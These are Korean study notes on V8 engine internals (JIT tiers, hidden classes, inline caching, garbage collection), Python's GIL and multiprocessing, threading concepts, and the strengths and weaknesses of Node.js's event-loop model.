- Javascript는 처음에 Text > Byte Code > Native Code > Interpreter / JITC(Just In Time Compiler) 로 수행된다.
- Adaptive JITC 개발 : Interpreter로 실행하다가 반복되는 부분에서 JITC 사용
- baseline JITC(성능 최소화)와 Optimizing JITC(성능 최적화)가 존재
- baseline JITC 사용 중 최적화가 필요할 때 CrankShaft 를 이용해서 최적화
- Main Thread에서 코드 컴파일과 실행
- Compile을 위한 별도의 Thread에서 코드 최적화
- Profiler Thread에서 많은 시간이 필요한 method를 runtime에 알려주오 CrankShaft가 최적화
- Javascript가 사양이 다양화되고 변화(ES2015, asm.js, Web Assembly 등)되면서 Crankshaft의 한계가 발견
- Javascript의 객체에 대한 최적화는 Turbonfan 이 개발
- 모바일 환경에 대한 최적화에 대응하기 위해 Igniton이 추가
- Ignition 은 baseline JITC에서 Native Code로 가지 않고, Byte Code Compiler와 Interpreter를 이용해 수행시간 최적화를 Turbofan과 함께 수행
- Full CodeGen을 사용하지 않음
- Interperter : 한줄씩 실행
- Compiler : 한번에 실행
함수 호출지점을 호출된 함수의 내용으로 바꿈
2. Hidden Class
Javascript은 Prototype 기반이라 객체가 없음. 객체는 복제과정을 통해 생성.
보통 Interpreter는 Dictionarty와 유사한 구조로 Object의 속성값을 메모리에 저장.
정확한 Type이 정해져 있는 언어가 아니기때문에 고정된 객체 레이아웃이 없고 오프셋을 가진 연속적인 버퍼로 저장되지 못함. 즉 비효율적인 일.
hidden class는 이러한 문제를 해결하기 위해 나온 것으로 runtime에만 실행.
var point = new Point(1,2) 가 실행되면 원래의 코드에서 비어있는 hidden class C0가 생성된다.
1이 저장되어야 하기 때문에 hidden class C1이 생성되고 원래의 코드와 hidden class C0는 C1을 가리킨다.
2를 저장할 때는 새로운 hidden class C2가 생성되고 원래의 코드는 C2를 가리키고 C1은 C2를 가리킨다.
hidden class는 재사용이 가능하고 초기화 순서가 중요하기 때문에 (순서가 다르면 새로운 hidden class를 생성) 따라서 비슷한 기능을 하는 hidden class들은 순서를 비슷하게 하는 것이 좋다.
최근 Method 호출에 Parameter로 전달된 객체 타입의 Cache를 유지하고 이 정보를 이용해 앞으로의 method를 가정한다.
method가 호출될 때마다 해당 객체의 hidden class를 뒤져봐야하고, 동일한 hidden class, 동일한 method의 두번째로 호출을 마치면, hidden class를 찾는 것을 생략하고 단순하게 스스로 해당 객체 포인터에 속성 offset을 더한다.(바로 memory 주소로 jump!)
Hydroget Graph가 최적화되면 Crankshaft는 Litum이라는 하위 레벨로 낮춘다. (Register 할당 레벨)
Litum은 Machine Code로 Compile되어 OSR(On-Stack Replacement)이 일어난다.
V8은 최적화된 버전으로 다시 시작하기 전에 어떤 코드가 느리게 수행되었는지 기억하여, 최적화된 버전으로 옮겨탈 수 있게 해준다.
Mark and Sweep를 이용하는 데, Marking 시에는 수행이 중단된다.
점진적 Marking : Heap 일부를 확인한 다음 정상적으로 실행
Sweep는 다른 Thread에서 실행
항상 같은 순서로 초기화하면 hidden class이후에 inline caching까지!
객체 생성 이후에 속성을 추가하는 것은 Hidden class의 변화를 강제하여 느리게 만듬
동일한 Method를 반복하는 코드는 빠르게 동작
모든 요소를 가지지 않은 배열은 hash table인데, 각 배열의 요소를 접근하기에는 많은 시간이 듬
커다란 배열을 미리 할당하지 않기
배열의 요소를 삭제하지 않기 (배열의 요소가 띄엄띄엄 배치)
V8은 object와 숫자를 32bit로 표현하기 때문에 어떤 값이 object(flag=1)인지 정수(flag=0)인지는 SMI(Small Integer) 하나의 비트에 저장하고 이는 31bit를 남김
따라서 어떤 숫자가 31bit보다 크면 V8은 숫자를 분리해서 double type으로 전환한다음 숫자를 넣을 새로운 object를 생성 > 비용이 높음 > 31bit이내의 숫자를 사용하자!
- 객체 : 실제로 존재하는 구체적인 대상 또는 시스템 (ex)This, MildSeven, Dunhill, Malboro 등)
- 클래스 : 동일한 유형을 가진 객체들을 표현하는 추상적인 모습 (ex) 담배!)
여러개의 thread가 있을 때 Thread간의 동기화를 위해 사용되는 기술인데 동시에 하나 이상의 thread가 실행되지 않도록 한다.
즉 CPU 점유 Thread는 1개뿐이다.
Multicore에서 Core를 하나밖에 사용을 못하면 GIL을 사용해서 multi threads를 지원하는 것은 성능에 문제가 있을 것으로 판단되나,
프로그램 대부분은 I/O bound (ex) Disk에 접근 등)을 위한 I/O event를 위해 기다리기 때문에 다른 Thread가 CPU를 사용하면 된다.
Python은 Thread를 여러개 만들면 속도가 더 느려지는데 바로 GIL 때문 이다. Python은 자원 배분을 Thread에게 할당 한 후 그 Thread가 끝날 때까지 Lock을 걸어 접근하지 못하게 한다.
하지만 GIL을 이용한 인터프리터 언어가 많아지고 있는데, GIL을 이용한 multi thread 구현이 parallel한 multi thread구현보다 훨씬 쉽기 때문이다. 또한 single thread에서 성능이 높고 parallel한 multi thread로 single thread를 구현할 경우 성능이 안좋아진다.
병렬작업을 하려면 multi processing moudle 을 사용한다. process관리는 python에서 하는 것이 아니라 OS에서 하기 때문에 OS에서 적절하게 Process를 core별로 할당해서 성능을 높여줄 것이다.
multi processing module은 fork를 통해 여러 process에 원하는 작업을 실행할 수 있도록 하는데, 프로세스의 복사본이 생성되고, 모든 데이터와 코드를 부모 process에서 직접 가져와 OS에서 자체 PID를 얻는 완전히 독립적인 process로 수행된다. IPC에서 손해이긴 하지만 thread처럼 동작한다.
하나의 프로세스는 하나의 thread를 갖지만, 둘 이상의 thread가 동시에 동작하는 것을 multi thread라고 한다.
thread는 process의 메모리 자원인 공유자원을 사용 해서 동작한다. (process는 각 process별로 독립적인 메모리 자원 으로 실행된다.)
thread는 CPU core 수만큼 생성되는데, core수보다 더 많은 thread가 생성되면, 각 core가 정해진 시간동안 여러 작업을 번갈아가면서 수행 한다.
이때 thread가 교체되면서 context switching 즉 현재까지 작업 상태나 다음 작업에 필요한 각종 데이터를 저장하고 읽어오는 작업 이 발생한다.
context switching에 걸리는 시간이 길수록 multi thread의 효율이 줄어든다.
관련 있는 thread를 한개의 group에 두는 것을 의미한다.
다른 일반 thread의 작업을 돕는 보조적인 역할을 하는 thread를 말한다.
일반 thread가 모두 종료되면 daemon도 종료된다.
Daemon Thread를 이용하는 가장 대표적인 예시이다. 동적으로 할당된 메모리중 더이상 사용하지 않는 영역을 자동으로 찾아내 해제해준다.
Garbage Collector가 실행되면 process가 중지되기 때문에, 성능저하가 발생한다. (Javascript에서는 이를 방지하기 위해 부분적으로 실행된다.)
- single thread 기반 비동기 I/O 처리
즉 하나의 thread가 request 받으면 처리하고 file I/O나 network(database 접근 등)처리는 I/O를 보내놓고 event를 받아서 처리.
- CPU가 I/O응답을 기다릴 필요가 없고 (non blocking I/O) 연산작업에 사용되기 때문에 높은 효용성 을 가질 수 있다.
하나의 thread로 여러개의 요청을 처리하는 구조이기 때문에 CLOCK문제를 처리할 수 있는데 최적화되어있다.
CPU Intensive한 작업이 없고 많은 Connection을 동시에 처리해야한다면 node.js의 성능이 높다.
-
javascript의 경우 multi thread라는 개념이 없는데 서버 프로그램에서 thread간의 동기화 처리가 중요하고 복잡한데 이 문제를 제거해버렸다.
-
single thread만 사용하는 것이 아니라 내부적으로 multi thread pool 을 사용하기도 하는데, 일부 IO는 nonblocking function을 지원하지 않기 때문에 blocking function을 호출하기 위해 내부적으로 thread pool을 별도로 운영 하면서 thread pool의 thread를 이용하여 IO 처리를 하여 event loop thread가 IO에 의해 block되지 않게 한다.
-
하나의 thread로 여러 socket connection을 처리하는 방법은 multiplexing 이다. 여러개의 socket이 동시에 연결되어있는 상태에서 하나의 thread는 socket에 메시지가 들어오면 처리한다. 이 방식을 Event Loop이라고 한다.
하지만!!!
-
하나의 작업이 오래 걸리면 전체적 시스템 성능이 급격히 떨어진다.
-
javascript의 특성상 해당 코드가 실행되어야 오류인지를 확인할 수 있다.
-
multi core CPU에서 최적화할 수 없다. 하나의 thread가 하나의 물리적 core밖에 사용하지 못하기 때문에 core가 많더라도 성능이 올라가지 않는다. cluster Module을 이용해 여러 node process를 사용하거나, 세션 공유 redis등 부가적인 인프라가 필요하다.
-
V8 engine을 이용하면, GC시 CPU 사용률이 Spike를 치면 순간적으로 서버를 멈추게 할 수 있다.
-
Single Thread기반의 비동기 I/O를 지원해야하기 때문에 node 전용 module을 사용해야한다.
- prototyping
- fil upload/download, network streaming (async IO) etc
- real time web application, chatting service etc
- single page app
- 간단한 로직 & 대용량 & 빠른 응답 시간
- CPU 작업이 많은 APP
- CRUD가 많고 페이지가 많은 웹개발에는 적절하지 않다.